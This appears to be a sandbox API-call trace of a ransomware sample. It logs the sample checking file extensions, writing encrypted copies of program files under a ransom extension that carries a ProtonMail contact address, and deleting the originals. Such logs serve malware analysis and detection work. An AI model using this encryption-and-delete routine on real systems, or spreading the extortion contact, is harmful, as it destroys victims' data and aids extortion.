	[0092.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.037] lstrlenW (lpString=".1cd") returned 4
	[0092.037] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 54
	[0092.037] lstrlenW (lpString=".jpg") returned 4
	[0092.037] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.037] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.038] lstrlenW (lpString="msdaremr.dll") returned 12
	[0092.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.038] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2560) returned 1
	[0092.038] CloseHandle (hObject=0x300) returned 1
	[0092.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20
	[0092.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.038] lstrlenW (lpString=".doc") returned 4
	[0092.038] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.038] lstrlenW (lpString=".docx") returned 5
	[0092.038] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0092.038] lstrlenW (lpString=".pdf") returned 4
	[0092.038] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".xls") returned 4
	[0092.039] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".xlsx") returned 5
	[0092.039] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0092.039] lstrlenW (lpString=".ppt") returned 4
	[0092.039] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.039] lstrlenW (lpString=".zip") returned 4
	[0092.039] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".rar") returned 4
	[0092.039] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".bz2") returned 4
	[0092.039] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.039] lstrlenW (lpString=".7z") returned 3
	[0092.039] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.039] lstrlenW (lpString=".dbf") returned 4
	[0092.039] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.039] lstrlenW (lpString=".1cd") returned 4
	[0092.039] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.039] lstrlenW (lpString=".jpg") returned 4
	[0092.039] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.039] lstrlenW (lpString=".doc") returned 4
	[0092.039] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".docx") returned 5
	[0092.039] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0092.039] lstrlenW (lpString=".pdf") returned 4
	[0092.039] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".xls") returned 4
	[0092.039] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.039] lstrlenW (lpString=".xlsx") returned 5
	[0092.040] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0092.040] lstrlenW (lpString=".ppt") returned 4
	[0092.040] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.040] lstrlenW (lpString=".zip") returned 4
	[0092.040] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.040] lstrlenW (lpString=".rar") returned 4
	[0092.040] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.040] lstrlenW (lpString=".bz2") returned 4
	[0092.040] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.040] lstrlenW (lpString=".7z") returned 3
	[0092.040] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.040] lstrlenW (lpString=".dbf") returned 4
	[0092.040] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.040] lstrlenW (lpString=".1cd") returned 4
	[0092.040] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 55
	[0092.040] lstrlenW (lpString=".jpg") returned 4
	[0092.040] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.040] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.040] lstrlenW (lpString="msdfmap.dll") returned 11
	[0092.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.041] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=31744) returned 1
	[0092.041] CloseHandle (hObject=0x300) returned 1
	[0092.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20
	[0092.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0092.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0092.041] lstrlenW (lpString=".doc") returned 4
	[0092.041] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.041] lstrlenW (lpString=".docx") returned 5
	[0092.041] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0092.041] lstrlenW (lpString=".pdf") returned 4
	[0092.041] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.041] lstrlenW (lpString=".xls") returned 4
	[0092.041] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.042] lstrlenW (lpString=".xlsx") returned 5
	[0092.042] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0092.042] lstrlenW (lpString=".ppt") returned 4
	[0092.042] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0092.042] lstrlenW (lpString=".zip") returned 4
	[0092.042] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.042] lstrlenW (lpString=".rar") returned 4
	[0092.042] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.042] lstrlenW (lpString=".bz2") returned 4
	[0092.042] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.042] lstrlenW (lpString=".7z") returned 3
	[0092.042] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0092.042] lstrlenW (lpString=".dbf") returned 4
	[0092.042] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.087] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.087] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.087] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.088] GetLastError () returned 0x0
	[0092.088] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x1c4, lpOverlapped=0x0) returned 1
	[0092.089] WriteFile (in: hFile=0x300, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x1d0, lpOverlapped=0x0) returned 1
	[0092.090] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.090] WriteFile (in: hFile=0x300, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0092.091] SetEndOfFile (hFile=0x300) returned 1
	[0092.091] CloseHandle (hObject=0x300) returned 1
	[0092.091] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.091] SetEndOfFile (hFile=0x368) returned 1
	[0092.092] CloseHandle (hObject=0x368) returned 1
	[0092.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.092] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1
	[0092.092] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.092] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString=".doc") returned 4
	[0092.093] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0092.093] lstrlenW (lpString=".docx") returned 5
	[0092.093] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0092.093] lstrlenW (lpString=".pdf") returned 4
	[0092.093] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0092.093] lstrlenW (lpString=".xls") returned 4
	[0092.093] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0092.093] lstrlenW (lpString=".xlsx") returned 5
	[0092.093] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0092.093] lstrlenW (lpString=".ppt") returned 4
	[0092.093] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0092.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString=".zip") returned 4
	[0092.093] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0092.093] lstrlenW (lpString=".rar") returned 4
	[0092.093] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0092.093] lstrlenW (lpString=".bz2") returned 4
	[0092.093] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0092.093] lstrlenW (lpString=".7z") returned 3
	[0092.093] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0092.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString=".dbf") returned 4
	[0092.093] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0092.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString=".1cd") returned 4
	[0092.093] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0092.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString=".jpg") returned 4
	[0092.093] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0092.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.093] lstrlenW (lpString=".doc") returned 4
	[0092.094] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0092.094] lstrlenW (lpString=".docx") returned 5
	[0092.094] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0092.094] lstrlenW (lpString=".pdf") returned 4
	[0092.094] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0092.094] lstrlenW (lpString=".xls") returned 4
	[0092.094] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0092.094] lstrlenW (lpString=".xlsx") returned 5
	[0092.094] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0092.094] lstrlenW (lpString=".ppt") returned 4
	[0092.094] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0092.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.094] lstrlenW (lpString=".zip") returned 4
	[0092.094] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0092.094] lstrlenW (lpString=".rar") returned 4
	[0092.094] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0092.094] lstrlenW (lpString=".bz2") returned 4
	[0092.094] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0092.094] lstrlenW (lpString=".7z") returned 3
	[0092.094] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0092.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.094] lstrlenW (lpString=".dbf") returned 4
	[0092.094] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0092.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.094] lstrlenW (lpString=".1cd") returned 4
	[0092.094] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0092.094] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0092.094] lstrlenW (lpString=".jpg") returned 4
	[0092.094] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0092.094] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0092.094] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0092.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0092.095] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=78336) returned 1
	[0092.095] CloseHandle (hObject=0x368) returned 1
	[0092.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe")) returned 0x20
	[0092.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\instructional_calibration_cheats.exe" (normalized: "c:\\program files\\java\\instructional_calibration_cheats.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.095] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.095] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.095] lstrlenW (lpString=".doc") returned 4
	[0092.095] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0092.095] lstrlenW (lpString=".docx") returned 5
	[0092.095] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0092.095] lstrlenW (lpString=".pdf") returned 4
	[0092.095] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0092.095] lstrlenW (lpString=".xls") returned 4
	[0092.095] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0092.095] lstrlenW (lpString=".xlsx") returned 5
	[0092.095] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0092.096] lstrlenW (lpString=".ppt") returned 4
	[0092.096] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0092.096] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.096] lstrlenW (lpString=".zip") returned 4
	[0092.096] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0092.096] lstrlenW (lpString=".rar") returned 4
	[0092.096] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0092.096] lstrlenW (lpString=".bz2") returned 4
	[0092.096] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0092.096] lstrlenW (lpString=".7z") returned 3
	[0092.096] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0092.096] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.096] lstrlenW (lpString=".dbf") returned 4
	[0092.096] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0092.096] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.096] lstrlenW (lpString=".1cd") returned 4
	[0092.096] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0092.096] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.096] lstrlenW (lpString=".jpg") returned 4
	[0092.096] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0092.096] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.096] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.096] lstrlenW (lpString=".doc") returned 4
	[0092.096] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0092.096] lstrlenW (lpString=".docx") returned 5
	[0092.096] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0092.096] lstrlenW (lpString=".pdf") returned 4
	[0092.096] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0092.096] lstrlenW (lpString=".xls") returned 4
	[0092.096] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0092.096] lstrlenW (lpString=".xlsx") returned 5
	[0092.096] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0092.096] lstrlenW (lpString=".ppt") returned 4
	[0092.096] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0092.097] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.097] lstrlenW (lpString=".zip") returned 4
	[0092.097] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0092.097] lstrlenW (lpString=".rar") returned 4
	[0092.097] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0092.097] lstrlenW (lpString=".bz2") returned 4
	[0092.097] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0092.097] lstrlenW (lpString=".7z") returned 3
	[0092.097] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0092.097] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.097] lstrlenW (lpString=".dbf") returned 4
	[0092.097] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0092.097] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.097] lstrlenW (lpString=".1cd") returned 4
	[0092.097] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0092.097] lstrlenW (lpString="C:\\Program Files\\Java\\instructional_calibration_cheats.exe") returned 58
	[0092.097] lstrlenW (lpString=".jpg") returned 4
	[0092.097] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0092.097] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.097] lstrlenW (lpString="awt.dll") returned 7
	[0092.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0092.098] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1516608) returned 1
	[0092.098] CloseHandle (hObject=0x368) returned 1
	[0092.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20
	[0092.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0092.098] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.098] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.099] GetLastError () returned 0x0
	[0092.099] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0092.382] WriteFile (in: hFile=0x300, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0092.399] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x72450, lpOverlapped=0x0) returned 1
	[0092.609] WriteFile (in: hFile=0x300, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x72460, lpOverlapped=0x0) returned 1
	[0092.620] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.620] WriteFile (in: hFile=0x300, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0092.620] SetEndOfFile (hFile=0x300) returned 1
	[0092.620] CloseHandle (hObject=0x300) returned 1
	[0092.620] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.620] SetEndOfFile (hFile=0x368) returned 1
	[0092.624] CloseHandle (hObject=0x368) returned 1
	[0092.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.625] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1
	[0092.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0092.625] lstrlenW (lpString=".doc") returned 4
	[0092.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.625] lstrlenW (lpString=".docx") returned 5
	[0092.625] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0092.625] lstrlenW (lpString=".pdf") returned 4
